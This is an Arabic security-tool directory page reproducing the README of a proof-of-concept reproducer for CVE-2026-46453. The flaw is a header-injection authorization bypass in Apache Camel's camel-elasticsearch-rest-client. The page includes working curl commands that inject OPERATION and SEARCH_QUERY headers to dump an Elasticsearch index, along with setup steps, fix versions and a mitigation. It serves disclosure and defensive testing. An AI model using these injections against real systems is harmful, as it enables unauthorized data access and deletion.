Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/oscerd/cve-2026-46453
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار أمان APIاختبار الاختراقالتعلم والتعليم
GitHuboscerd/cve-2026-46453

CVE-2026-46453

أداة استنساخ لـ CVE-2026-46453 — حقن رأس بدون بادئة في Apache Camel camel-elasticsearch-rest-client (تجاوز العملية/الاستعلام عبر رؤوس HTTP الواردة)

عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

أداة إعادة إنتاج حقن الرأس غير المسبوق في camel-elasticsearch-rest-client (CVE-2026-46453)

يوضح هذا المشروع حقن رأس الرسالة / تجاوز التفويض في مكون camel-elasticsearch-rest-client الخاص بـ Apache Camel، والمُتتبَّع باسم CVE-2026-46453. يقرأ المكون عدة رؤوس Exchange للتحكم في سلوكه — SEARCH_QUERY، OPERATION، INDEX_NAME، INDEX_SETTINGS، ID. في الإصدارات المتأثرة، تكون هذه قيم الرؤوس النصية أسماء عادية غير مسبوقة ("OPERATION"، "SEARCH_QUERY"، …) بدلاً من الأسماء المسبوقة بـ Camel التي يستخدمها كل مكون آخر. تقوم استراتيجية HttpHeaderFilterStrategy الواردة في Camel بحظر الأسماء التي تبدأ بـ Camel/camel فقط، لذلك تمر هذه الرؤوس عبر المرشح الوارد دون تغيير. عندما يعرض مسار نقطة دخول HTTP (مثل platform-http) أمام منتج elasticsearch-rest-client، يمكن لعميل HTTP غير موثوق تعيين هذه الرؤوس مباشرة وتجاوز الاستعلام والعملية اللذين كونهما كاتب المسار — قراءة الفهرس بالكامل، حذف المستندات، إلخ. لا يلزم وجود بيانات اعتماد.

الإشعار: https://camel.apache.org/security/CVE-2026-46453.html

ملخص الثغرة

نفس عائلة حقن الرأس مثل CVE-2025-27636، CVE-2025-29891، CVE-2025-30177، CVE-2026-40453 و CVE-2026-47323 — كلها تنبع من مكونات تقرأ الرؤوس الواردة التي لا تحجبها استراتيجية HeaderFilterStrategy الافتراضية لأن الأسماء لا تبدأ بالبادئة Camel.

التفاصيل الفنية

root@kitploit:~
// ElasticSearchRestClientConstant - المتأثر 4.18.2 (قيم غير مسبوقة)
public static final String ID = "ID";
public static final String SEARCH_QUERY = "SEARCH_QUERY";
public static final String INDEX_SETTINGS = "INDEX_SETTINGS";
public static final String INDEX_NAME = "INDEX_NAME";
public static final String OPERATION = "OPERATION";

// ElasticsearchRestClientProducer#resolveOperation - الرأس يغلب على العملية التي تم تكوينها في نقطة النهاية
ElasticsearchRestClientOperation operation
        = exchange.getMessage().getHeader(OPERATION, endpoint.getOperation(), ElasticsearchRestClientOperation.class);

HttpHeaderFilterStrategy تحظر فقط Camel*/camel*، لذلك فإن رأس HTTP وارد مثل OPERATION: SEARCH (و SEARCH_QUERY: {...}) يمر ويتجاوز operation=GET_BY_ID لكاتب المسار. الإصلاح (4.14.8 / 4.18.3 / 4.21.0) يعيد تسمية القيم إلى CamelElasticsearchOperation، CamelElasticsearchSearchQuery، إلخ، بحيث يقوم المرشح الوارد بحظرها (أسماء الحقول في Java لم تتغير).

المسار الضحي

root@kitploit:~
from("platform-http:/products")
    .to("elasticsearch-rest-client:reproducer?hostAddressesList=<host:port>&operation=GET_BY_ID&indexName=products");
    // ينوي كاتب المسار عملية واحدة آمنة: جلب مستند واحد بواسطة المعرف

طلب HTTP من مهاجم يحمل OPERATION: SEARCH + SEARCH_QUERY: {"query":{"match_all":{}}} يتجاوز ذلك ويُفرغ الفهرس بالكامل.

هيكل المستودع

الضحية هو مسار Camel؛ والمهاجم هو أي عميل HTTP يمكنه الوصول إلى نقطة نهاية platform-http. يقوم المثال بتشغيل Elasticsearch حقيقي في Docker وتطبيق Camel على المضيف (يتحدث التطبيق إلى ES عبر المنفذ المعيّن).

root@kitploit:~
CVE-2026-46453/
├── pom.xml                 # camel-platform-http + camel-elasticsearch-rest-client 4.18.2
├── docker-compose.yml      # Elasticsearch 8.15.3 (الأمان معطل)
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── EsSeeder.java           # يزرع مستنداً "عاماً" وآخر "سرياً"
    │   ├── VictimRoute.java        # platform-http -> elasticsearch-rest-client (GET_BY_ID)
    │   └── ExploitController.java  # المهاجم: GET_BY_ID شرعي مقابل OPERATION=SEARCH محقون
    └── resources/
        └── application.properties

المتطلبات الأساسية

  • Java 17+ و Maven 3.8+
  • Docker (يشغّل Elasticsearch)

خطوات إعادة الإنتاج

الخطوة 1: تشغيل Elasticsearch

root@kitploit:~
docker compose up -d
# انتظر حتى يصبح جاهزاً:
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:9200/     # -> 200

الخطوة 2: بناء التطبيق وتشغيله (على المضيف، يتحدث إلى حاوية ES)

root@kitploit:~
mvn clean package -DskipTests
java -jar target/cve-2026-46453-elasticsearch-0.0.1-SNAPSHOT.jar
# يقوم التطبيق بزرع فهرس 'products' بمستند عام وآخر سري عند بدء التشغيل

الخطوة 3: تشغيل حقن الرأس

root@kitploit:~
curl -s http://localhost:8080/exploit/attack
# === 1) طلب شرعي (ID=public-1) ===
#   {"name":"Public Widget","visibility":"public"}      تم تسريب السر: false
# === 2) طلب هجوم (OPERATION=SEARCH, SEARCH_QUERY=match_all) ===
#   [ ...public..., {"name":"CLASSIFIED-LAUNCH-CODES", ...} ]   تم تسريب السر: true
#
# >>> إثبات حقن الرأس — المهاجم تجاوز العملية وقرأ الفهرس بالكامل: true

يمكنك أيضاً فعل ذلك يدوياً — تمر الرؤوس المحقونة مباشرة عبر مرشح platform-http الوارد:

root@kitploit:~
# شرعي: GET_BY_ID لكاتب المسار يُرجع المستند العام فقط
curl -s -H "ID: public-1" http://localhost:8080/products
# هجوم: تجاوز العملية وتفريغ الفهرس بالكامل (بما في ذلك السر)
curl -s -H "OPERATION: SEARCH" -H 'SEARCH_QUERY: {"query":{"match_all":{}}}' http://localhost:8080/products

التنظيف

root@kitploit:~
docker compose down

نواقل الهجوم

أي مسار يعرض نقطة دخول HTTP أمام منتج elasticsearch-rest-client. يقوم المهاجم بتعيين OPERATION، SEARCH_QUERY، INDEX_NAME، INDEX_SETTINGS، أو ID على طلب HTTP الوارد؛ يتجاوزون مرشح البادئة Camel الوارد ويصلون إلى المنتج.

شروط الاستغلال

  1. مستهلك HTTP (مثل platform-http) يوجّه إلى منتج elasticsearch-rest-client في إصدار متأثر.
  2. استراتيجية HttpHeaderFilterStrategy الافتراضية (تحظر فقط Camel*)، والتي لا تغطي رؤوس ES غير المسبوقة.

الإصلاح الموصى به

الترقية إلى 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23508)، الذي يسبق قيم الرؤوس بـ Camel بحيث يقوم المرشح الوارد بحظرها.

التخفيف

حتى الترقية، قم بإزالة الرؤوس المتأثرة من الرسائل الواردة غير الموثوقة قبل المنتج:

root@kitploit:~
.removeHeaders("SEARCH_QUERY|OPERATION|INDEX_NAME|INDEX_SETTINGS|ID")

أو قم بتطبيق HeaderFilterStrategy مخصصة تحظر هذه الأسماء.

إخلاء مسؤولية

تم توفير أداة إعادة الإنتاج هذه لأغراض البحث الأمني والاختبار المصرح به فقط، لثغرة مُعلنة ومُصححة بشكل عام. لا تستخدمها ضد أنظمة دون إذن صريح.

تنزيل الأداة
الخاصيةالقيمة
المكونcamel-elasticsearch-rest-client
الثوابت المتأثرةElasticSearchRestClientConstant — ID, SEARCH_QUERY, INDEX_SETTINGS, INDEX_NAME, OPERATION (قيم غير مسبوقة)
CWECWE-20 (التحقق غير السليم من الإدخال) + CWE-639 (تجاوز التفويض من خلال مفتاح يتحكم به المستخدم)
التأثيرعميل HTTP غير موثوق يتجاوز عملية/استعلام ES — قراءة/حذف/تسريب المستندات
الإصدارات المتأثرةمن 4.3.0 قبل 4.14.8، من 4.15.0 قبل 4.18.3، من 4.19.0 قبل 4.21.0
الإصدارات المُصحَّحة4.14.8، 4.18.3، 4.21.0
JIRACAMEL-23508
المُبلِّغYu Bao (PayPal)